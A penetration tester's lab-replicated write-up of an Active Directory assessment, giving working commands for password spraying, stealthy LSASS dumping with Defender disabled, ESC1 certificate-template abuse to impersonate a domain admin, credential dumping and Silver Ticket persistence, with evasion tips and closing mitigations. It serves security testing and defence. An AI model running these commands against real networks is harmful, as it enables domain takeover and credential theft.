Abusing ADCS for Domain Admin Privileges

Disclaimer: Please be aware that the scenario depicted is a replication in a locally configured domain environment. While the technical steps and attack path accurately represent the real client engagement, all workstations, user accounts, passwords, and naming conventions (such as certificate templates) have been altered to protect client confidentiality and comply with my NDA contract.

Introduction

During an internal network assessment of a client’s Active Directory environment, I identified a critical misconfiguration that could allow unauthorized users to escalate their privileges to Domain Admin. This issue poses a significant risk, as it grants attackers full control over the network, including sensitive data and critical systems. In this case, the misconfiguration was linked to insecure ADCS (Active Directory Certificate Services) configurations, which I will now explain in detail. Achieving Domain Admin privileges without initial credentials is usually the goal of every internal security assessment, as it simulates a real-world attacker’s objective of gaining complete control over the domain.

Essential Concepts

First, I will provide a brief overview of the essential concepts necessary to understand the techniques used to achieve domain admin access.

Password Spraying

Password spraying is a technique used by attackers to try a small number of common or easily guessed passwords across many different user accounts.

Unlike traditional brute-force attacks, which involve repeatedly guessing passwords for a single account, password spraying spreads out the attempts to avoid account lockouts and reduce the chance of being detected. By using a "low and slow" approach, attackers aim to blend in with normal login activity.

Pass the Hash (PTH)

Pass the Hash (PTH) is an attack technique where an attacker captures a user’s hashed credentials and leverages them to authenticate to other systems without needing to know the actual password. The name "Pass the Hash" comes from the fact that authentication systems accept the hash directly, without requiring it to be decrypted into plain text.

This method works only with NTLM hashes, which are stored in the SAM (Security Account Manager) on local systems, the NTDS file of a domain controller, or can be extracted directly from the LSASS process in memory on a running system (which we will explain in detail next).

In most cases, only the NT hash is required to carry out a PTH attack. An example of a full NTLM hash looks like this:

aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c

An NTLM hash consists of two parts:

• LM hash (aad3b435b51404eeaad3b435b51404ee): A legacy hash derived from older password encryption algorithms, now largely obsolete.
• NT hash (8846f7eaee8fb117ad06bdd830b7586c): A more secure hash derived from modern encryption methods, used for authentication.

Instead of cracking the password, the attacker reuses the captured hash to create new sessions as the legitimate user. Since the hash stays the same until the password is changed, it can be repeatedly used to access other systems.

LSASS Windows Process

The LSASS (Local Security Authority Subsystem Service) is a crucial Windows process that manages security policies, user authentication, and login procedures. It securely stores sensitive data, such as NTLM hashes and Kerberos tickets, in memory.

Here’s a simplified explanation of how LSASS handles authentication in two steps:

1. When a domain user logs into a domain-joined computer, their password is hashed into an NT hash and sent to the Domain Controller for authentication.
2. After successful authentication, the NT hash is temporarily stored in the memory of the lsass.exe process for reuse when accessing network resources.

Certificate Templates

Firstly, Active Directory Certificate Services (AD CS) is a Microsoft service that manages and issues digital certificates, providing a secure infrastructure for encrypting communications and authenticating users within a network.

Certificate templates are a part of AD CS and consist of predefined settings that define how certificates should be issued within a domain. They specify things like the type of certificate, what it can be used for (e.g., email encryption or user authentication), and how it should be validated.

These templates simplify the process of requesting and issuing certificates, ensuring consistency and security across the network. They are mainly used to automate and standardize certificate management for various purposes like secure communications and authentication within an organization.

Silver Ticket

A Silver Ticket is a type of forged authentication ticket in a Kerberos-based network. Unlike a Golden Ticket, which is generated using the Ticket Granting Ticket (TGT) and can provide access to any service within the domain, a Silver Ticket is a valid Ticket Granting Service (TGS) ticket that is specific to a particular service.

The process works as follows:

1. The attacker compromises the service account (like a web server or file server) and retrieves its service account password hash.
2. Using this hash, the attacker creates a Silver Ticket containing the necessary credentials for that specific service, like the Service Principal Name (SPN) and domain-specific information.
3. When the attacker presents this forged Silver Ticket to the target service, the service validates it, without needing to contact the Domain Controller, effectively bypassing the usual authentication process. The Domain Controller stays out of the way because it does not participate in the validation of this ticket.

Attack Path

After performing common initial internal network enumeration and exploitation techniques, such as NBT-NS/LLMNR poisoning to capture NTLMv2 hashes for offline cracking, ARP spoofing with client approval, and printer enumeration for potential sensitive information, I found that none of these approaches produced useful results.

Password Spray on Local Administrator Accounts

I then turned to external intelligence gathering through OSINT using platforms like IntelligenceX and DeHashed. By analyzing previously breached credentials, I observed a recurring pattern in password structure: many were weak and predictable, following formats such as CompanyName1! or Password123! and similar patterns. This insight led me to adopt a targeted "spray and pray" approach utilizing NetExec tool to carefully attempt 3–4 commonly weak passwords on local administrator accounts across the network. Keep in mind that account lockout threshold is not enabled by default for local administrator accounts, but it is possible that it has been manually enabled.

nxc smb 192.168.32.0/24 -u 'Administrator' -p 'Password1!' --local-auth

Fortunately, This approach proved successful on the workstation ECWS01, where the default local administrator account was enabled and secured with the weak password Password1!.

LSASS Process Dump on ECWS01

Next, after discovering that WinRM (Windows Remote Management) was enabled on the host ECWS01, I used local administrator user to remotely connect to the machine via Evil-WinRM tool. Once I gained administrative access, I temporarily disabled Windows Defender’s real-time protection to prevent it from interfering with my activities.

evil-winrm -u 'ECWS02\Administrator' -p 'Password1!' -i ECWS02

lsassy -u 'Administrator' -p 'Password1!' 192.168.32.129 --no-powershell --dump-method comsvcs_stealth --dump-path 'C:\Windows\System32\spool\drivers\color' --dump-name cache.bin --time-between-commands 5

To explain the arguments of the command further:

• --no-powershell: Ensures that PowerShell is not used, reducing the chances of being detected.
• --dump-method comsvcs_stealth: Uses a stealthy method for dumping the LSASS process via the COM+ service.
• --dump-path 'C:\Windows\System32\spool\drivers\color: Specifies a less monitored, legitimate system directory for stealthy dump file storage.
• --dump-name cache.bin: Defines the name of the dump file.
• --time-between-commands 5: Introduces a short delay between commands to reduce the risk of detection.

The LSASS dump was successfully created and analyzed. From the dump, the cached NT hash of the domain user f.vera was extracted, which was:

• NT Hash: 7facdc498ed1680c4fd1448319a8c04f

Misconfigured Certificate Template Exploitation

After enumerating several resources, such as SMB shares and potential access to other machines, without success, I decided to check if Active Directory Certificate Services (AD CS) was enabled. It turned out to be active, so I used Certipy tool to enumerate AD CS and identified enabled certificate templates. The following command was used:

certipy-ad find -u [email protected] -hashes ':7facdc498ed1680c4fd1448319a8c04f' -dc-ip 192.168.32.130 -vulnerable -enabled -json

After reviewing the JSON output, a vulnerable certificate template named Ndes-C issued by the certificate authority evil-ECDC01-CA was discovered.

Enterprise Security Certificate - ESC1

ESC1 refers to a certificate template that permits Client Authentication and allows the enrollee to supply an arbitrary Subject Alternative Name (SAN).

To exploit this misconfiguration, certain conditions must be met. First, it’s important to understand what a SAN is: it’s an extension to X.509 certificates that allows multiple identities (such as email addresses or user names) to be associated with a single certificate.

SAN example: [email protected]

• Supply in the request should be enabled under the Subject Name tab. This allows the enroller to define the SAN manually, bypassing restrictions.

• Permissions under the Security tab grant Enroll and Write rights to non-privileged users, such as Domain Users. This lets them request certificates using this template.

• The template includes Extended Key Usages (EKUs), such as Client Authentication and Smart Card Logon, which support domain authentication, making it vulnerable.

These properties combined allow privilege escalation when exploited, as shown in the screenshot below:

As low privilege domain user f.vera, I have already enumerated users and their groups, identifying the members of the Domain Admins group, and selected p.pirce as my target. The tools used are impacket-GetADUsers and bloodyAD.

By executing the following command, I successfully requested a certificate for the UPN [email protected] using the vulnerable ESC1 certificate template Ndes-C, which allowed me to specify an arbitrary SAN corresponding to the target user, effectively enabling authentication as p.price without requiring their credentials.

# 1. request a certificate for the user 'p.price'
certipy-ad req -u 'f.vera' -hashes ':7facdc498ed1680c4fd1448319a8c04f' -dc-ip 192.168.32.130 -ca 'evil-ECDC01-CA' -template 'Ndes-C' -upn '[email protected]'

# 2. authentication with certificate
certipy-ad auth -pfx 'p.price.pfx' -username 'p.price' -domain 'evil.corp' -dc-ip 192.168.32.130

After obtaining the certificate, I used it again with certipy tool to authenticate as [email protected], successfully acquiring a Kerberos Ticket Granting Ticket (TGT) and retrieving the NT hash for the target domain admin user.

At this point, with the credentials of domain admin p.pirce in the evil.corp Active Directory environment, the primary objective of the assessment has been achieved, as we now have the ability to extract the NTDS.dit file from the domain controller.

The second goal that the client set was to ensure some kind of persistence.

Granting Persistence via Silver Ticket

Using the default domain administrator account for persistence is often ideal because it is less likely to be modified or noticed. I decided to use the Silver Ticket method for persistence. To achieve this, we extract the NT hash of the domain administrator from ntds.dit and obtain the machine account keys for the target machine (in this case the domain controller, EDC01$). These keys will be used for persistence.

impacket-secretsdump 'evil.corp/p.price'@192.168.32.130 -hashes ':43460d636f269c709b20049cee36ae7a' -just-dc-user ECDC01$ -just-dc-user Administrator

To create a silver ticket, I need the domain SID and either the NT hash or the AES key (AES-128 or AES-256) of the target machine account. I opted to use the impacket-lookupsid tool.

• Domain SID: S-1-5-21-2120946831-1943794212-2518312568
• ECDC01$ machine account aes256 key: ffab5a40957adbdfcf9464b3a42edf9eabc5b901bf0ec9849ceafc82c3aeed69

With the AES key and domain SID, I can forge the silver ticket using the impacket-ticketer tool and specifying the target service to be host/ECDC01 and the domain information. Save the ticket for later use:

impacket-ticketer -aesKey 'ffab5a40957adbdfcf9464b3a42edf9eabc5b901bf0ec9849ceafc82c3aeed69' -domain-sid 'S-1-5-21-2120946831-1943794212-2518312568' -domain 'evil.corp' -spn 'host/ECDC01' -duration 168 administrator

After forging the silver ticket, I tested it using the impacket-wmiexec tool, as shown below. The ticket successfully provided access to the domain controller EDC01 with the privileges of the Administrator domain account.

impacket-wmiexec 'evil.corp/administrator'@ECDC01 -k -no-pass -shell-type powershell

Recommendations for Best Practices

• Adjust Ticket Duration According to the Project Scope: When creating the ticket, it is advisable to set its duration to align with the remaining time of the engagement agreed upon with the client. This ensures proper expiration and reduces unnecessary risk.

• Use AES-256 for Increased Stealth: Opting for AES-256 encryption instead of NTLM hashes provides better stealth, as it avoids leaving obvious NTLM artifacts that could be flagged during monitoring.

• Utilize Host Service Types: The host service type is particularly useful as it allows access to the domain controller (DC) through WMI. This enables you to dump the ntds.dit file anytime if necessary, ensuring continued control over the environment even if domain user passwords are changed.

These best practices enhance the stealth and effectiveness of the persistence method while aligning with the goals of red team engagements or penetration testing activities.

Mitigations

1. Weak Credentials and Password Spraying:

   • Enforce Strong Password Policies: Ensure that all users adhere to strong password policies (e.g., minimum length, complexity, and regular password changes) to mitigate password spraying attacks. Specifically, passwords should meet the following criteria:
     • Minimum length: 12 characters (14 or more is recommended).
     • Must include at least three of the following character sets:
       • Uppercase letters (A-Z)
       • Lowercase letters (a-z)
       • Numbers (0-9)
       • Symbols (!@#$%^&* etc.)
     • Avoid dictionary words, names (people, characters, products, organizations), or predictable patterns (e.g., 111111, asdfqwer).
     • Ensure the password is significantly different from previous ones.

2. Unprotected LSASS Process (Credentials Dumping):

   • Limit Administrative Privileges: Ensure that only trusted personnel have administrative privileges on sensitive machines and restrict access to LSASS.
   • Enable Protected Process Light (PPL): PPL prevents non-trusted processes from accessing LSASS memory, making it harder for attackers to dump credentials.
   • Use Credential Guard: Microsoft’s Windows Defender Credential Guard prevents credential theft by isolating secrets in a secure enclave.

3. ADCS Misconfiguration (Vulnerable Certificate Templates):

   • Secure Certificate Templates: Restrict certificate template permissions to trusted administrators and users only. Prevent non-privileged users from enrolling for high-privilege certificates.
   • Implement Least Privilege Access: Ensure users only have the minimum required access to certificate templates and associated permissions.
   • Review and Audit ADCS Configurations Regularly: Continuously audit ADCS configurations for vulnerabilities or misconfigurations and apply patches or fixes promptly.

4. Silver Ticket Persistence:

   • Regularly Change Service Account Passwords: Frequently change passwords for service accounts and use secure methods for storing and handling these passwords.
   • Enable Kerberos Logging: Enable auditing and logging of Kerberos authentication to detect abnormal ticket activity and attempts to forge tickets.

Conclusion

To summarize, weak credentials provided initial administrative access to a host, and unprotected LSASS led to obtaining the first domain user. A critical misconfiguration in the ADCS certificate template was then exploited, escalating privileges to Domain Admin and gaining full control over the Active Directory environment. Persistence was achieved using a Silver Ticket, ensuring ongoing access while evading detection. This highlights the importance of securing ADCS configurations and following best practices to prevent unauthorized access.

References

• Password Spraying Concept Image: https://www.arkoselabs.com/credential-stuffing/password-spraying
• Silver Ticket Concept Image: https://www.varonis.com/blog/kerberos-attack-silver-ticket